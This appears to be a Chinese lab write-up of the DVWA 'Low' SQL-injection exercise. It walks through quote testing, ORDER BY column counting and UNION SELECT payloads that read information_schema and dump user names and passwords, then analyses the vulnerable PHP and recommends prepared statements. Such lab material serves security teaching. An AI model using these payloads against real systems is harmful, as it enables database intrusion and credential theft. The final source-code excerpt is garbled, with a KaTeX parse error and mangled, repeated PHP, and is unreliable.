一,Low难度下union+get+字符串+select****注入
1,首先手工注入判断是否存在SQL注入漏洞,输入1

这是正常回显的结果,再键入1’
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’’ at line 1
发生报错,再键入1"

结果并不报错,这说明单引号的存在破坏了原有语句的闭合;双引号就没有破坏,被当成字符串内容执行。那么推断闭合方式为单引号
2,猜测这是一个经典sql查询语句。通过order by判断至少存在几个字段
1’ order by 2#

至少存在两个字段,
1’ order by 3#

不存在第三个字段,那么就只有两个字段
3,接着使用union操作符判断回显点 1’ union select 1,2#

由此可以看到存在两个回显点,接着参考数据库名和版本
1’ union select database(),version()#

4,对查询语句的限制并不多,可以用union语句开始爆库。
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

使用user表,再报user表下字段名
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#

5,最后就爆破出用户和密码字段的内容了,并且使它们成对显示
1’ union select user,password from users#

由此,成功通关
查看并分析源码内容
该PHP代码段的主要功能是根据用户输入的id从数据库中查询用户的first_name和last_name,并将结果显示给用户。代码支持两种数据库:MySQL和SQLite。
代码结构
- 输入处理:通过$_REQUEST[‘Submit’]判断是否提交了表单,并获取用户输入的id。
- 数据库选择:根据$_DVWA[‘SQLI_DB’]的值选择使用MySQL还是SQLite。
- 查询执行:
- MySQL:使用mysqli_query执行SQL查询,并通过mysqli_fetch_assoc获取结果。
- SQLite:使用SQLite3对象执行查询,并通过fetchArray获取结果。
- 结果显示:将查询结果格式化为HTML并输出。
安全问题
该代码存在严重的SQL注入漏洞,主要问题在于用户输入的id直接拼接到SQL查询语句中,未进行任何过滤或转义处理。攻击者可以通过构造恶意输入来执行任意SQL命令,从而获取或篡改数据库中的数据。
改进建议
- 使用预处理语句:对于MySQL,可以使用mysqli_prepare和mysqli_stmt_bind_param来防止SQL注入。对于SQLite,可以使用SQLite3Stmt类。
- 输入验证和过滤:对用户输入进行严格的验证和过滤,确保输入的id是合法的整数。
- 错误处理:改进错误处理机制,避免在生产环境中暴露详细的错误信息。
查看源码查询语句
KaTeX parse error: Expected group as argument to '\=' at position 69: …ERE user\_id \= ̲'id’;";
result=mysqli_query(result = mysqli\_query(result=mysqli_query(GLOBALS[“___mysqli_ston”], query)ordie(′<pre>′.((is_object(query ) or die( '<pre>' . ((is\_object(query)ordie(′<pre>′.((is_obj

2853

被折叠的 条评论
为什么被折叠?



